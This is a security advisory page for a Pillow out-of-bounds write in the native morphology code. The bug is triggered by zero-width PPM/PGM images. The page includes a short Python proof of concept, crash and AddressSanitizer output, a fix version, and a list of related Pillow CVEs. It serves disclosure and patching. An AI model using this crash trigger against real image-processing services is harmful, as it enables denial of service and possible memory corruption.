CVE-2026-112397: Pillow: Out-of-bounds access in _imagingmorph on a zero-width image
Summary A PPM or PGM file can declare a width of 0, which Pillow accepts, producing an image of size (0, N). Passing that image to ImageMorph.MorphOp.apply() makes the native morphology code index a row buffer at outrow[width - 1], which is outrow[-1] when the width is 0. The process crashes.
Published Oct 20, 2026
Affected packages
Pillow
- Ecosystem
- PyPI
- Affected
- <= 12.3.0
- Fixed in
- 13.0.0
- Check
pip show Pillow
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
A PPM or PGM file can declare a width of 0, which Pillow accepts, producing an image of size (0, N). Passing that image to ImageMorph.MorphOp.apply() makes the native morphology code index a row buffer at outrow[width - 1], which is outrow[-1] when the width is 0. The process crashes.
Details
The PPM parser reads width and height with no lower-bound check:
src/PIL/PpmImagePlugin.py:119
The native apply() writes the row edges with no guard that the width is positive:
src/_imagingmorph.c:81setsoutrow[0] = outrow[width - 1] = 0;
match() and get_on_pixels() use the same edge-indexing pattern.
PoC
from PIL import Image, ImageMorph
# A width-0 image (also producible from a crafted PPM header). apply() indexes
# outrow[width - 1] == outrow[-1] in native code.
im = Image.new("L", (0, 5))
ImageMorph.MorphOp(op_name="dilation4").apply(im)Run it:
$ python 03_poc.py
Segmentation fault (core dumped)Observed on a source build of commit 3e2ab96.
Under AddressSanitizer:
==ERROR: AddressSanitizer: SEGV on unknown address (pc ... in apply)
#0 apply src/_imagingmorph.c:81
SUMMARY: AddressSanitizer: SEGV src/_imagingmorph.c:81 in applyWith width 0 the outrow[width - 1] write lands on an unmapped page, so it surfaces as a SEGV pinned to the edge-write line rather than a redzone overflow.
Impact
Out-of-bounds write in a C extension. Affects any application that runs a morphology operation on an image opened from untrusted input. Result is a crash and possible memory corruption.
Credited to MegaManSec, radarhere, hugovk.
References
- https://github.com/python-pillow/Pillow/security/advisories/GHSA-58r4-6rv3-gfh8
- https://nvd.nist.gov/vuln/detail/CVE-2026-112397
- https://github.com/python-pillow/Pillow/commit/18f7c0dfee93063c51db6ed0ca8c4da2999dcb64
- https://github.com/python-pillow/Pillow/releases/tag/13.0.0
- https://github.com/advisories/GHSA-58r4-6rv3-gfh8
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More PyPI vulnerabilities
All PyPI entriesCVE-2026-128066
Pillow: Memory DoS in TIFF and EXIF IFD parsing via overlapping tag data
mediumNov 12, 2026CVE-2026-128067
Pillow: Heap buffer overflow saving TIFF with libtiff when tags override image size
high8.4Nov 12, 2026CVE-2026-114501
Pillow: Arrow export leaks stale heap memory when PILLOW_ALIGNMENT > 1
medium6.3Oct 23, 2026CVE-2026-96636
Pillow: Decompression-bomb protection bypass via multi-frame seek() in MPO and DCX (MpoImageFile.seek / DcxImageFile.seek)
medium6.5Oct 22, 2026CVE-2026-96639
Pillow multi-frame loaders can reuse stale native image storage after mode transitions
critical9.8Oct 22, 2026CVE-2026-96640
Pillow PDF append accepts malformed shared page-tree DAG causing resource exhaustion
high8.2Oct 22, 2026
